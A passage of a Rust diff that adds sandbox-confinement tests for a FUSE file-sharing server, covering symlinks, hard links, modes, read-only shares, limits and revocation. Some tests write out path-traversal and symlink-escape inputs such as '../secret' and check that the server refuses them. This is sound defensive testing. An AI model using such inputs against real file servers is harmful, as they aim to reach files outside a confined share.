| 0o644), ++ share.symlink(1, &name, b"f"), ++ share.link(file, 1, &name), ++ share.rename(1, &name, 1, b"g"), ++ share.rename(1, b"f", 1, &name), ++ share.remove(Opcode::Unlink, 1, &name), ++ share.remove(Opcode::Rmdir, 1, &name), ++ ]; ++ for (i, reply) in replies.iter().enumerate() { ++ assert_eq!(reply.error, lx::EINVAL, "operation {i} name {name:?}"); ++ } ++ } ++ // NUL on the wire: inside a name, a missing terminator, bytes after the names. ++ for body in [b"a\0b\0".to_vec(), b"abc".to_vec(), b"f\0\0".to_vec()] { ++ assert_eq!(share.call(Opcode::Lookup, 1, &body).error, lx::EINVAL); ++ assert_eq!(share.call(Opcode::Unlink, 1, &body).error, lx::EINVAL); ++ } ++ let mut body = MkdirIn { mode: 0o755, umask: 0 }.as_slice().to_vec(); ++ body.extend_from_slice(b"x\0y\0"); ++ assert_eq!(share.call(Opcode::Mkdir, 1, &body).error, lx::EINVAL); ++ let mut body = RenameIn { newdir: 1 }.as_slice().to_vec(); ++ body.extend_from_slice(b"f\0g\0h\0"); ++ assert_eq!(share.call(Opcode::Rename, 1, &body).error, lx::EINVAL); ++ assert_eq!(share.call(Opcode::Symlink, 1, b"s\0").error, lx::EINVAL); ++ // A header that claims more than the chain holds, or less than the fixed part. ++ assert_eq!(share.raw(Opcode::Lookup as u32, 1, b"f\0", Some(4096)).unwrap().error, lx::EINVAL); ++ assert_eq!(share.raw(Opcode::Mkdir as u32, 1, MkdirIn::default().as_slice(), Some(41)).unwrap().error, lx::EINVAL); ++ assert_eq!(snapshot(&share.root), before); ++ // The longest name works. ++ assert_eq!(share.create(1, &[b'n'; 255], 0o644, WRONLY).error, 0); ++} ++ ++// ---- R2: descriptor-relative only ------------------------------------------------------------------ ++ ++#[test] ++fn r2_escape_suite_through_fuse_messages() { ++ let mut share = Share::build(flags(false, false), |root| { ++ fs::write(root.join("f"), b"inside").unwrap(); ++ std::os::unix::fs::symlink(root.parent().unwrap().join("outside"), root.join("out")).unwrap(); ++ std::os::unix::fs::symlink(root.parent().unwrap().join("outside/new"), root.join("dangling")).unwrap(); ++ }); ++ let outside_before = snapshot(&share.outside); ++ let file = share.node(1, b"f"); ++ // Forged and wrong-kind node ids. ++ assert_eq!(share.getattr(999_999).error, lx::ESTALE); ++ assert_eq!(share.lookup(999_999, b"f").error, lx::ESTALE); ++ assert_eq!(share.lookup(file, b"x").error, lx::ENOTDIR); ++ assert_eq!(share.create(file, b"x", 0o644, WRONLY).error, lx::ENOTDIR); ++ assert_eq!(share.open(999_999, RDONLY).error, lx::ESTALE); ++ // A link to an outside directory is a link, never a directory. ++ let link = share.lookup(1, b"out").obj::(); ++ assert_eq!(link.attr.mode & libc::S_IFMT as u32, libc::S_IFLNK as u32); ++ assert_eq!(share.lookup(link.nodeid, b"secret").error, lx::ENOTDIR); ++ assert_eq!(share.create(link.nodeid, b"x", 0o644, WRONLY).error, lx::ENOTDIR); ++ assert_eq!(share.mkdir(link.nodeid, b"x", 0o755).error, lx::ENOTDIR); ++ assert_eq!(share.open(link.nodeid, RDONLY).error, lx::EACCES); ++ assert_eq!(share.opendir(link.nodeid).error, lx::ENOTDIR); ++ // A create through a dangling link never creates its target. ++ assert_eq!(share.create(1, b"dangling", 0o644, WRONLY).error, lx::EEXIST); ++ let dangling = share.node(1, b"dangling"); ++ assert_eq!(share.open(dangling, WRONLY).error, lx::EACCES); ++ assert_eq!(share.setattr(dangling, 8, 0, 0).error, lx::EPERM); ++ assert_eq!(snapshot(&share.outside), outside_before); ++ assert!(!share.outside.join("new").exists()); ++} ++ ++#[test] ++fn r2_host_calls_refuse_parent_absolute_and_symlinked_paths_on_their_own() { ++ // Below R1: the host call layer refuses on its own what R1 would already refuse. ++ let tree = TempTree::new(); ++ fs::create_dir(tree.0.join("root")).unwrap(); ++ fs::create_dir(tree.0.join("root/real")).unwrap(); ++ fs::write(tree.0.join("root/real/f"), b"inside").unwrap(); ++ fs::write(tree.0.join("secret"), b"SECRET").unwrap(); ++ std::os::unix::fs::symlink("real", tree.0.join("root/inner")).unwrap(); ++ let root = root_fd(&tree.0.join("root")); ++ let host = Host { unique: false }; ++ let fd = root.as_raw_fd(); ++ let absolute = CString::new(tree.0.join("secret").as_os_str().as_bytes()).unwrap(); ++ for name in [c"..", c"../secret", c"real/../../secret", absolute.as_c_str()] { ++ assert!(host.openat(fd, name, libc::O_RDONLY, 0).is_err(), "{name:?}"); ++ assert!(host.fstatat(fd, name).is_err(), "{name:?}"); ++ assert!(host.unlinkat(fd, name, false).is_err(), "{name:?}"); ++ assert!(host.renameat(fd, name, fd, c"stolen", 0).is_err(), "{name:?}"); ++ assert!(host.linkat(fd, name, fd, c"stolen", ).is_err(), "{name:?}"); ++ } ++ // A symlink inside the share, even to a directory inside it, is never followed: no path component ++ // may be a link (O_NOFOLLOW_ANY, AT_SYMLINK_NOFOLLOW_ANY, RENAME_NOFOLLOW_ANY). ++ assert!(host.openat(fd, c"real/f", libc::O_RDONLY, 0).is_ok()); ++ assert_eq!(host.openat(fd, c"inner/f", libc::O_RDONLY, 0).unwrap_err().raw_os_error(), Some(lx::ELOOP)); ++ assert!(host.openat(fd, c"inner", libc::O_RDONLY, 0).is_err()); ++ assert!(host.fstatat(fd, c"inner/f").is_err()); ++ assert!(host.renameat(fd, c"inner/f", fd, c"moved", 0).is_err()); ++ assert!(host.unlinkat(fd, c"inner/f", false).is_err()); ++ assert!(host.linkat(fd, c"inner/f", fd, c"linked").is_err()); ++ assert!(tree.0.join("secret").exists() && tree.0.join("root/real/f").exists()); ++ assert!(!tree.0.join("root/stolen").exists() && !tree.0.join("root/moved").exists()); ++} ++ ++#[test] ++fn r2_no_path_open_no_volfs_no_realpath_in_the_server() { ++ let sources = [include_str!("mod.rs"), include_str!("sys.rs"), include_str!("names.rs")]; ++ let volfs = concat!("/", ".vol"); ++ let needles = [ ++ "libc::open(", "AT_FDCWD", "realpath(", volfs, "libc::renameat(", "libc::umask", "File::open", "std::path", "libc::stat(", "libc::lstat(", ++ "libc::chmod(", "libc::mkdir(", "libc::unlink(", "libc::rename(", "libc::symlink(", "libc::link(", "libc::readlink(", "libc::truncate(", ++ "libc::utimes(", "libc::setxattr(", "libc::fsetxattr(", "libc::mknod", "libc::mkfifo", ++ ]; ++ for source in sources { ++ for needle in needles { ++ assert!(!source.contains(needle), "{needle}"); ++ } ++ } ++} ++ ++#[test] ++fn r2_a_swapped_node_is_estale_by_dev_and_ino() { ++ let mut share = Share::build(flags(false, false), |root| { ++ fs::write(root.join("a"), b"first").unwrap(); ++ std::os::unix::fs::symlink("a", root.join("l")).unwrap(); ++ }); ++ let a = share.node(1, b"a"); ++ let l = share.node(1, b"l"); ++ fs::write(share.root.join("b"), b"second").unwrap(); ++ fs::rename(share.root.join("b"), share.root.join("a")).unwrap(); ++ std::os::unix::fs::symlink("b", share.root.join("l2")).unwrap(); ++ fs::rename(share.root.join("l2"), share.root.join("l")).unwrap(); ++ assert_eq!(share.open(a, RDONLY).error, lx::ESTALE); ++ assert_eq!(share.getattr(a).error, lx::ESTALE); ++ assert_eq!(share.setattr(a, 1, 0o600, 0).error, lx::ESTALE); ++ assert_eq!(share.call(Opcode::Readlink, l, &[]).error, lx::ESTALE); ++ assert_eq!(share.link(a, 1, b"c").error, lx::ESTALE); ++ assert_eq!(mode_of(&share.root.join("a")), 0o644); ++ // A fresh lookup serves the new node. ++ let fresh = share.node(1, b"a"); ++ let fh = share.open_ok(fresh, RDONLY); ++ assert_eq!(share.read(fresh, fh, 0, 64).body, b"second"); ++} ++ ++#[test] ++fn r2_reopens_are_nonblocking_and_cleared_on_regular_files() { ++ let mut share = Share::build(flags(false, false), |root| fs::write(root.join("a"), b"x").unwrap()); ++ let a = share.node(1, b"a"); ++ let fh = share.open_ok(a, RDONLY); ++ let flags = unsafe { libc::fcntl(share.handle_fd(fh), libc::F_GETFL) }; ++ assert_eq!(flags & libc::O_NONBLOCK, 0); ++ // A FIFO swapped in after the lookup never blocks the device thread. ++ mkfifo(&share.root.join("p")); ++ fs::rename(share.root.join("p"), share.root.join("a")).unwrap(); ++ let error = within(20, move || { ++ let error = share.open(a, RDONLY).error; ++ drop(share); ++ error ++ }); ++ assert_eq!(error, lx::ESTALE); ++} ++ ++#[test] ++fn r2_directory_descriptors_are_an_lru_of_1024_and_reresolve_by_identity() { ++ raise_nofile(8192); ++ assert_eq!(DIR_LRU, 1024); ++ let mut share = Share::build(flags(false, false), |root| { ++ for i in 0..1100 { ++ fs::create_dir(root.join(format!("d{i}"))).unwrap(); ++ fs::write(root.join(format!("d{i}/f")), format!("{i}")).unwrap(); ++ } ++ fs::create_dir_all(root.join("a/b/c")).unwrap(); ++ fs::write(root.join("a/b/c/f"), b"deep").unwrap(); ++ }); ++ let a = share.node(1, b"a"); ++ let b = share.node(a, b"b"); ++ let c = share.node(b, b"c"); ++ let ids: Vec = (0..1100).map(|i| share.node(1, format!("d{i}").as_bytes())).collect(); ++ assert_eq!(share.fs().lock().dirs.len(), DIR_LRU); ++ assert!(!share.fs().lock().dirs.contains(&ids[0])); ++ assert!(!share.fs().lock().dirs.contains(&c)); ++ // An evicted directory is re-resolved from its parent chain. ++ let f = share.node(ids[0], b"f"); ++ let fh = share.open_ok(f, RDONLY); ++ assert_eq!(share.read(f, fh, 0, 8).body, b"0"); ++ let deep = share.node(c, b"f"); ++ let fh = share.open_ok(deep, RDONLY); ++ assert_eq!(share.read(deep, fh, 0, 8).body, b"deep"); ++ assert!(share.fs().lock().dirs.len() <= DIR_LRU); ++ // An evicted directory replaced on the host is ESTALE, never the replacement. ++ assert!(!share.fs().lock().dirs.contains(&ids[5])); ++ fs::rename(share.root.join("d5"), share.root.join("d5-old")).unwrap(); ++ fs::create_dir(share.root.join("d5")).unwrap(); ++ assert_eq!(share.lookup(ids[5], b"f").error, lx::ESTALE); ++ assert_eq!(share.create(ids[5], b"g", 0o644, WRONLY).error, lx::ESTALE); ++ assert!(!share.root.join("d5/g").exists()); ++} ++ ++// ---- R3: symlinks are data ------------------------------------------------------------------------- ++ ++#[test] ++fn r3_symlinks_are_created_and_read_as_text() { ++ let mut share = Share::new(flags(false, false)); ++ let target = share.outside.join("secret"); ++ let text = target.as_os_str().as_bytes().to_vec(); ++ let entry: EntryOut = share.symlink(1, b"s", &text).obj(); ++ assert_eq!(entry.attr.mode & libc::S_IFMT as u32, libc::S_IFLNK as u32); ++ assert_eq!(fs::read_link(share.root.join("s")).unwrap(), target); ++ let reply = share.call(Opcode::Readlink, entry.nodeid, &[]); ++ assert_eq!((reply.error, reply.body.clone()), (0, text)); ++ assert_eq!(share.open(entry.nodeid, RDONLY).error, lx::EACCES); ++ assert_eq!(share.symlink(1, b"empty", b"").error, lx::EINVAL); ++ assert_eq!(share.symlink(1, b"long", &vec![b'x'; SYMLINK_MAX + 1]).error, lx::EINVAL); ++ assert_eq!(share.symlink(1, b"max", &vec![b'x'; SYMLINK_MAX]).error, 0); ++ let file = share.create_ok(1, b"f", 0o644).0; ++ assert_eq!(share.call(Opcode::Readlink, file, &[]).error, lx::EINVAL); ++ assert_eq!(fs::read(&target).unwrap(), b"SECRET"); ++} ++ ++// ---- R4: mount points ------------------------------------------------------------------------------ ++ ++#[test] ++fn r4_a_node_on_another_device_is_exdev_and_no_submount_is_announced() { ++ // A read-only share of the host's root: /dev is devfs, another device. Nothing is written. ++ let fs = ConfinedFs::new(ConfinedConfig { root: root_fd(Path::new("/")), flags: flags(true, false), guest_path: CString::new("/r").unwrap() }).unwrap(); ++ let tree = TempTree::new(); ++ let mut share = Share::with_fs(tree, PathBuf::from("/"), PathBuf::new(), fs); ++ assert_eq!(share.lookup(1, b"dev").error, lx::EXDEV); ++ let usr: EntryOut = share.lookup(1, b"usr").obj(); ++ assert_eq!(usr.attr.flags & ATTR_SUBMOUNT, 0); ++ assert_eq!(usr.attr.flags, 0); ++ let names = share.readdir_names(1, true); ++ assert!(names.iter().any(|(n, id)| n == "dev" && *id == 0)); ++ assert!(names.iter().any(|(n, id)| n == "usr" && *id != 0)); ++ assert!(!share.fs().lock().nodes.values().any(|n| n.name.as_bytes() == b"dev")); ++} ++ ++// ---- R5: links and renames -------------------------------------------------------------------------- ++ ++#[test] ++fn r5_links_and_renames_stay_in_this_table() { ++ let mut share = Share::build(flags(false, false), |root| { ++ fs::write(root.join("f"), b"x").unwrap(); ++ fs::create_dir(root.join("d")).unwrap(); ++ fs::write(root.join("two"), b"2").unwrap(); ++ fs::hard_link(root.join("two"), root.join("two-b")).unwrap(); ++ }); ++ let f = share.node(1, b"f"); ++ let d = share.node(1, b"d"); ++ assert_eq!(share.link(d, 1, b"d2").error, lx::EPERM); ++ assert_eq!(share.link(d, 999_999, b"d2").error, lx::EPERM); ++ assert_eq!(share.link(999_999, 1, b"x").error, lx::EXDEV); ++ assert_eq!(share.link(f, 999_999, b"x").error, lx::EXDEV); ++ assert_eq!(share.rename(1, b"f", 999_999, b"x").error, lx::EXDEV); ++ assert_eq!(share.rename(999_999, b"f", 1, b"x").error, lx::EXDEV); ++ // Folder sources keep hard links (repositories and package stores make them). ++ let two = share.node(1, b"two"); ++ let linked: EntryOut = share.link(f, d, b"f-link").obj(); ++ assert_eq!(linked.nodeid, f); ++ assert_eq!(fs::metadata(share.root.join("f")).unwrap().nlink(), 2); ++ let fh = share.open_ok(two, RDONLY); ++ assert_eq!(share.read(two, fh, 0, 4).body, b"2"); ++ // The table follows a rename. ++ assert_eq!(share.rename(1, b"f", d, b"moved").error, 0); ++ let fh = share.open_ok(f, RDONLY); ++ assert_eq!(share.read(f, fh, 0, 4).body, b"x"); ++ assert_eq!(share.fs().lock().nodes[&f].parent, d); ++} ++ ++#[test] ++fn r5_winter_shares_never_serve_a_multi_link_node_and_refuse_link() { ++ let mut share = Share::build(flags(false, true), |root| { ++ fs::write(root.join("two"), b"2").unwrap(); ++ fs::hard_link(root.join("two"), root.join("two-b")).unwrap(); ++ fs::write(root.join("one"), b"1").unwrap(); ++ fs::create_dir(root.join("d")).unwrap(); ++ }); ++ assert_eq!(share.lookup(1, b"two").error, lx::EACCES); ++ assert_eq!(share.lookup(1, b"two-b").error, lx::EACCES); ++ assert_eq!(share.rename(1, b"two", 1, b"x").error, lx::EACCES); ++ assert_eq!(share.remove(Opcode::Unlink, 1, b"two-b").error, lx::EACCES); ++ let one = share.node(1, b"one"); ++ assert_eq!(share.link(one, 1, b"one-b").error, lx::EPERM); ++ let d = share.node(1, b"d"); ++ assert_eq!(share.lookup(d, b"missing").error, lx::ENOENT); ++ // A second link made on the host after the lookup: the reopen refuses it. ++ fs::hard_link(share.root.join("one"), share.root.join("one-b")).unwrap(); ++ assert_eq!(share.open(one, RDONLY).error, lx::EACCES); ++ assert_eq!(share.getattr(one).error, lx::EACCES); ++ assert!(share.root.join("two").exists() && share.root.join("two-b").exists() && !share.root.join("x").exists()); ++ // The same tree as a folder source serves both. ++ let mut folder = Share::build(flags(false, false), |root| { ++ fs::write(root.join("two"), b"2").unwrap(); ++ fs::hard_link(root.join("two"), root.join("two-b")).unwrap(); ++ }); ++ let two = folder.node(1, b"two"); ++ let fh = folder.open_ok(two, RDONLY); ++ assert_eq!(folder.read(two, fh, 0, 4).body, b"2"); ++} ++ ++#[test] ++fn share_flags_from_the_abi() { ++ for bits in [0, 1, 2, 3, 4, 5] { ++ let f = ShareFlags::from_abi(bits).unwrap(); ++ assert_eq!((f.read_only, f.winter_share, f.folder_rules), (bits & 1 != 0, bits & 2 != 0, bits & 4 != 0)); ++ } ++ for bits in [6, 7, 8, 0x10, 0x8000_0000, u32::MAX] { ++ assert_eq!(ShareFlags::from_abi(bits).unwrap_err().raw_os_error(), Some(lx::EINVAL)); ++ } ++} ++ ++#[test] ++fn the_root_must_be_a_directory() { ++ let tree = TempTree::new(); ++ fs::write(tree.0.join("f"), b"x").unwrap(); ++ let cfg = ConfinedConfig { root: root_fd(&tree.0.join("f")), flags: ShareFlags::default(), guest_path: CString::default() }; ++ assert_eq!(ConfinedFs::new(cfg).err().unwrap().raw_os_error(), Some(lx::ENOTDIR)); ++} ++ ++// ---- R7: ownership and modes ------------------------------------------------------------------------ ++ ++#[test] ++fn r7_modes_are_masked_and_the_umask_is_untouched() { ++ let previous = unsafe { libc::umask(0o077) }; ++ let mut share = Share::new(flags(false, false)); ++ let (f, _) = share.create_ok(1, b"suid", 0o104777); ++ assert_eq!(mode_of(&share.root.join("suid")), 0o755); ++ share.create_ok(1, b"plain", 0o666); ++ assert_eq!(mode_of(&share.root.join("plain")), 0o644); ++ let d: EntryOut = share.mkdir(1, b"sticky", 0o3777).obj(); ++ assert_eq!(mode_of(&share.root.join("sticky")), 0o755); ++ assert_eq!(share.setattr(f, 1, 0o6777, 0).error, 0); ++ assert_eq!(mode_of(&share.root.join("suid")), 0o755); ++ assert_eq!(share.setattr(d.nodeid, 1, 0o1777, 0).error, 0); ++ assert_eq!(mode_of(&share.root.join("sticky")), 0o755); ++ assert_eq!(share.setattr(f, 1, 0o600, 0).error, 0); ++ assert_eq!(mode_of(&share.root.join("suid")), 0o600); ++ assert_eq!(MODE_MASK, 0o755); ++ let now = unsafe { libc::umask(previous) }; ++ assert_eq!(now, 0o077); ++ // LinuxSimplified: every node is the caller's. ++ let attr: AttrOut = share.getattr(f).obj(); ++ assert_eq!((attr.attr.uid, attr.attr.gid), (UID, GID)); ++ let entry: EntryOut = share.lookup(1, b"plain").obj(); ++ assert_eq!((entry.attr.uid, entry.attr.gid), (UID, GID)); ++ // No host xattr: the whole family is outside the allowlist. ++ for opcode in [21u32, 22, 23, 24] { ++ assert_eq!(share.raw(opcode, f, &[0u8; 64], None).unwrap().error, lx::ENOSYS); ++ } ++} ++ ++// ---- R8: read-only shares --------------------------------------------------------------------------- ++ ++#[test] ++fn r8_a_read_only_share_refuses_every_mutation() { ++ let mut share = Share::build(flags(true, false), |root| { ++ fs::write(root.join("f"), b"data").unwrap(); ++ fs::create_dir(root.join("d")).unwrap(); ++ fs::create_dir(root.join("e")).unwrap(); ++ }); ++ let before = snapshot(&share.root); ++ let f = share.node(1, b"f"); ++ let d = share.node(1, b"d"); ++ let fh = share.open_ok(f, RDONLY); ++ let mode = unsafe { libc::fcntl(share.handle_fd(fh), libc::F_GETFL) } & libc::O_ACCMODE; ++ assert_eq!(mode, libc::O_RDONLY); ++ let replies = [ ++ share.setattr(f, 1, 0o600, 0), ++ share.setattr(f, 8, 0, 0), ++ share.setattr(d, 16, 0, 0), ++ share.symlink(1, b"s", b"f"), ++ share.mknod(1, b"n", libc::S_IFREG as u32 | 0o644), ++ share.mkdir(1, b"m", 0o755), ++ share.remove(Opcode::Unlink, 1, b"f"), ++ share.remove(Opcode::Rmdir, 1, b"e"), ++ share.rename(1, b"f", 1, b"g"), ++ share.rename2(1, b"d", 1, b"e", 2), ++ share.link(f, 1, b"f2"), ++ share.create(1, b"c", 0o644, WRONLY), ++ share.create(1, b"c", 0o644, RDONLY), ++ share.open(f, WRONLY), ++ share.open(f, RDWR), ++ share.open(f, WRONLY | TRUNC), ++ share.write(f, fh, 0, b"xx"), ++ share.call(Opcode::Fallocate, f, FallocateIn { fh, offset: 0, length: 64, mode: 0, padding: 0 }.as_slice()), ++ share.call(Opcode::Access, f, AccessIn { mask: 2, padding: 0 }.as_slice()), ++ ]; ++ for (i, reply) in replies.iter().enumerate() { ++ assert_eq!(reply.error, lx::EROFS, "operation {i}"); ++ } ++ assert_eq!(share.read(f, fh, 0, 64).body, b"data"); ++ assert_eq!(share.call(Opcode::Access, f, AccessIn { mask: 4, padding: 0 }.as_slice()).error, 0); ++ assert_eq!(snapshot(&share.root), before); ++} ++ ++// ---- R9: no special files --------------------------------------------------------------------------- ++ ++#[test] ++fn r9_mknod_never_creates_and_special_files_never_open() { ++ let mut share = Share::build(flags(false, false), |root| mkfifo(&root.join("fifo"))); ++ for kind in [libc::S_IFIFO, libc::S_IFSOCK, libc::S_IFCHR, libc::S_IFBLK, libc::S_IFREG] { ++ assert_eq!(share.mknod(1, b"n", kind as u32 | 0o644).error, lx::EPERM); ++ } ++ assert!(!share.root.join("n").exists()); ++ let fifo = share.node(1, b"fifo"); ++ let (r1, r2) = within(20, move || { ++ let r1 = share.open(fifo, RDONLY).error; ++ let r2 = share.open(fifo, WRONLY).error; ++ drop(share); ++ (r1, r2) ++ }); ++ assert_eq!((r1, r2), (lx::EACCES, lx::EACCES)); ++} ++ ++// ---- R10: bounds ---------------------------------------------------------------------------------- ++ ++#[test] ++fn r10_the_handle_table_holds_4096_and_never_evicts() { ++ raise_nofile(8192); ++ assert_eq!(MAX_HANDLES, 4096); ++ let mut share = Share::build(flags(false, false), |root| { ++ fs::write(root.join("f"), b"payload").unwrap(); ++ fs::create_dir(root.join("d")).unwrap(); ++ }); ++ let f = share.node(1, b"f"); ++ let d = share.node(1, b"d"); ++ let handles: Vec = (0..MAX_HANDLES).map(|_| share.open_ok(f, RDONLY)).collect(); ++ assert_eq!(share.open(f, RDONLY).error, lx::ENFILE); ++ assert_eq!(share.opendir(d).error, lx::ENFILE); ++ assert_eq!(share.create(1, b"new", 0o644, WRONLY).error, lx::ENFILE); ++ assert!(!share.root.join("new").exists()); ++ // Every live handle still works. ++ for &fh in [handles[0], handles[2047], handles[4095]].iter() { ++ assert_eq!(share.read(f, fh, 0, 16).body, b"payload"); ++ } ++ assert_eq!(share.release(f, handles[1]).error, 0); ++ let again = share.open_ok(f, RDONLY); ++ assert_eq!(share.read(f, again, 0, 16).body, b"payload"); ++ assert_eq!(share.fs().lock().handles.len(), MAX_HANDLES); ++} ++ ++#[test] ++fn r10_requests_stay_at_one_mib() { ++ let mut share = Share::build(flags(false, false), |root| fs::write(root.join("f"), vec![7u8; 1 << 20]).unwrap()); ++ let f = share.node(1, b"f"); ++ let fh = share.open_ok(f, RDWR); ++ assert_eq!(share.read(f, fh, 0, (1 << 20) + 1).error, ENOMEM); ++ assert_eq!(share.read(f, fh, 0, 1 << 20).body.len(), 1 << 20); ++ let big = WriteIn { fh, offset: 0, size: (1 << 20) + 1, ..Default::default() }; ++ assert_eq!(share.call(Opcode::Write, f, big.as_slice()).error, ENOMEM); ++ assert_eq!(share.raw(Opcode::Getattr as u32, f, GetattrIn::default().as_slice(), Some((1 << 20) + 0x1000 + 1)).unwrap().error, ENOMEM); ++} ++ ++// ---- R11: revoke ---------------------------------------------------------------------------------- ++ ++#[test] ++fn r11_the_revoke_flag_stops_every_request_and_the_owner_closes_everything() { ++ let mut share = Share::build(flags(false, false), |root| { ++ fs::write(root.join("f"), b"x").unwrap(); ++ fs::create_dir(root.join("d")).unwrap(); ++ }); ++ let f = share.node(1, b"f"); ++ let d = share.node(1, b"d"); ++ let fh = share.open_ok(f, RDONLY); ++ let switch = share.fs().revoke_switch(); ++ thread::spawn(move || switch.revoke()).join().unwrap(); ++ let before = snapshot(&share.root); ++ let replies = [ ++ share.getattr(f), ++ share.lookup(1, b"f"), ++ share.read(f, fh, 0, 1), ++ share.create(1, b"new", 0o644, WRONLY), ++ share.mkdir(d, b"m", 0o755), ++ share.remove(Opcode::Unlink, 1, b"f"), ++ share.init(0, 0), ++ share.call(Opcode::Statfs, 1, &[]), ++ share.raw(999, 1, &[], None).unwrap(), ++ ]; ++ for (i, reply) in replies.iter().enumerate() { ++ assert_eq!(reply.error, lx::EACCES, "request {i}"); ++ } ++ assert_eq!(snapshot(&share.root), before); ++ // Requests that take no reply are dropped. ++ share.forget(f, 1); ++ assert!(share.raw(Opcode::Interrupt as u32, 0, InterruptIn { unique: 1 }.as_slice(), None).is_none()); ++ assert!(share.raw(Opcode::Destroy as u32, 0, &[], None).is_none()); ++ assert!(share.fs().lock().nodes.contains_key(&f)); ++ // Only the owner closes: root, the directory LRU and every handle. ++ let held = share.fs().open_descriptors(); ++ assert_eq!(held, 3); ++ assert_eq!(share.server.close_confined(), held); ++ assert_eq!(share.fs().open_descriptors(), 0); ++ assert_eq!(share.getattr(f).error, lx::EACCES); ++} ++ ++#[test] ++fn r11_close_all_without_a_prior_revoke_sets_the_flag() { ++ let mut share = Share::new(flags(false, false)); ++ share.create_ok(1, b"f", 0o644); ++ assert_eq!(share.server.close_confined(), 2); ++ assert!(share.fs().revoke_switch().is_revoked()); ++ assert_eq!(share.getattr(1).error, lx::EACCES); ++} ++ ++// ---- R12: caching --------------------------------------------------------------------------------- ++ ++#[test] ++fn r12_timeouts_are_one_second_and_the_cache_policy_is_auto() { ++ let mut share = Share::build(flags(false, false), |root| fs::write(root.join("f"), b"x").unwrap()); ++ let entry: EntryOut = share.lookup(1, b"f").obj(); ++ assert_eq!((entry.entry_valid, entry.entry_valid_nsec, entry.attr_valid, entry.attr_valid_nsec), (1, 0, 1, 0)); ++ let attr: AttrOut = share.getattr(entry.nodeid).obj(); ++ assert_eq!((attr.attr_valid, attr.attr_valid_nsec), (1, 0)); ++ assert_eq!(share.open(entry.nodeid, RDONLY).obj::().open_flags, 0); ++ let reply = share.create(1, b"g", 0o644, WRONLY); ++ let open = *OpenOut::from_slice(&reply.body[std::mem::size_of::()..][..std::mem::size_of::()]).unwrap(); ++ assert_eq!(open.open_flags, 0); ++ assert_eq!(TIMEOUT, Duration::from_secs(1)); ++} ++ ++// ---- R13: durability ------------------------------------------------------------------------------ ++ ++#[test] ++fn r13_fsync_is_full_on_winter_shares_and_plain_on_folders() { ++ for (winter, expected) in [(true, (2, 0)), (false, (0, 2))] { ++ let mut share = Share::new(flags(false, winter)); ++ let (f, fh) = share.create_ok(1, b"f", 0o644); ++ share.write(f, fh, 0, b"durable"); ++ assert_eq!(share.call(Opcode::Fsync, f, FsyncIn { fh, ..Default::default() }.as_slice()).error, 0); ++ let dh = share.opendir(1).obj::().fh; ++ assert_eq!(share.call(Opcode::Fsyncdir, 1, FsyncIn { fh: dh, ..Default::default() }.as_slice()).error, 0); ++ assert_eq!(share.fs().sync_counts(), expected); ++ } ++} ++ ++// ---- extension points ----------------------------------------------------------------------------- ++ ++struct Refuse { ++ admit: bool, ++ created: bool, ++ seen: Arc, ++} ++ ++impl ConfinedHooks for Refuse { ++ fn admit(&self, _op: &Mutation) -> io::Result<()> { ++ self.seen.fetch_add(1, Ordering::SeqCst); ++ if self.admit { ++ Err(err(lx::EPERM)) ++ } else { ++ Ok(()) ++ } ++ } ++ fn created(&self, _fd: BorrowedFd<'_>, _kind: CreatedKind) -> io::Result<()> { ++ if self.created { ++ Err(err(lx::EACCES)) ++ } else { ++ Ok(()) ++ } ++ } ++} ++ ++fn hooked(admit: bool, created: bool, read_only: bool) -> (Share, Arc) { ++ let seen = Arc::new(AtomicUsize::new(0)); ++ let tree = TempTree::new(); ++ let root = tree.0.join("root"); ++ fs::create_dir(&root).unwrap(); ++ let fs = ConfinedFs::new(ConfinedConfig { root: root_fd(&root), flags: flags(read_only, false), guest_path: CString::default() }) ++ .unwrap() ++ .with_hooks(Box::new(Refuse { admit, created, seen: seen.clone() })); ++ (Share::with_fs(tree, root, PathBuf::new(), fs), seen) ++} ++ ++#[test] ++fn hooks_a_failed_created_hook_removes_the_new_node_and_answers_eio() { ++ let (mut share, _) = hooked(false, true, false); ++ assert_eq!(share.create(1, b"f", 0o644, WRONLY).error, lx::EIO); ++ assert_eq!(share.mkdir(1, b"d", 0o755).error, lx::EIO); ++ assert!(!share.root.join("f").exists() && !share.root.join("d").exists()); ++ assert_eq!(share.fs().open_descriptors(), 1); ++} ++ ++#[test] ++fn hooks_admit_runs_after_the_read_only_check_and_can_refuse() { ++ let (mut share, seen) = hooked(true, false, false); ++ assert_eq!(share.create(1, b"f", 0o644, WRONLY).error, lx::EPERM); ++ assert_eq!(share.mkdir(1, b"d", 0o755).error, lx::EPERM); ++ assert_eq!(seen.load(Ordering::SeqCst), 2); ++ assert!(!share.root.join("f").exists()); ++ let (mut share, seen) = hooked(true, false, true); ++ assert_eq!(share.create(1, b"f", 0o644, WRONLY).error, lx::EROFS); ++ assert_eq!(seen.load(Ordering::SeqCst), 0); ++} ++ ++// ---- directory listing and the table --------------------------------------------------------------- ++ ++#[test] ++fn readdir_lists_and_readdirplus_counts_lookups() { ++ let mut share = Share::build(flags(false, false), |root| { ++ fs::write(root.join("a"), b"a").unwrap(); ++ fs::create_dir(root.join("b")).unwrap(); ++ }); ++ let names = share.readdir_names(1, false); ++ assert_eq!(names.iter().map(|(n, _)| n.as_str()).collect::>(), ["a", "b"]); ++ let plus = share.readdir_names(1, true); ++ assert!(plus.iter().all(|(_, id)| *id > 1)); ++ let a = plus[0].1; ++ assert_eq!(share.fs().lock().nodes[&a].nlookup, 1); ++ share.forget(a, 1); ++ assert!(!share.fs().lock().nodes.contains_key(&a)); ++} ++ ++#[test] ++fn forget_keeps_a_directory_while_its_children_are_known() { ++ let mut share = Share::build(flags(false, false), |root| { ++ fs::create_dir(root.join("d")).unwrap(); ++ fs::write(root.join("d/f"), b"x").unwrap(); ++ }); ++ let d = share.node(1, b"d"); ++ let f = share.node(d, b"f"); ++ share.forget(d, 1); ++ assert!(share.fs().lock().nodes.contains_key(&d)); ++ let fh = share.open_ok(f, RDONLY); ++ assert_eq!(share.read(f, fh, 0, 4).body, b"x"); ++ share.forget(f, 1); ++ assert!(!share.fs().lock().nodes.contains_key(&f) && !share.fs().lock().nodes.contains_key(&d)); ++ assert!(!share.fs().lock().dirs.contains(&d)); ++} ++ ++// ---- race suite: a host mutator thread swaps names under the device --------------------------------- ++ ++fn mutator(a: PathBuf, b: PathBuf) -> (Arc, thread::JoinHandle) { ++ let stop = Arc::new(AtomicBool::new(false)); ++ let flag = stop.clone(); ++ let handle = thread::spawn(move || { ++ let mut swaps = 0; ++ while !flag.load(Ordering::Relaxed) { ++ if swap(&a, &b) { ++ swaps 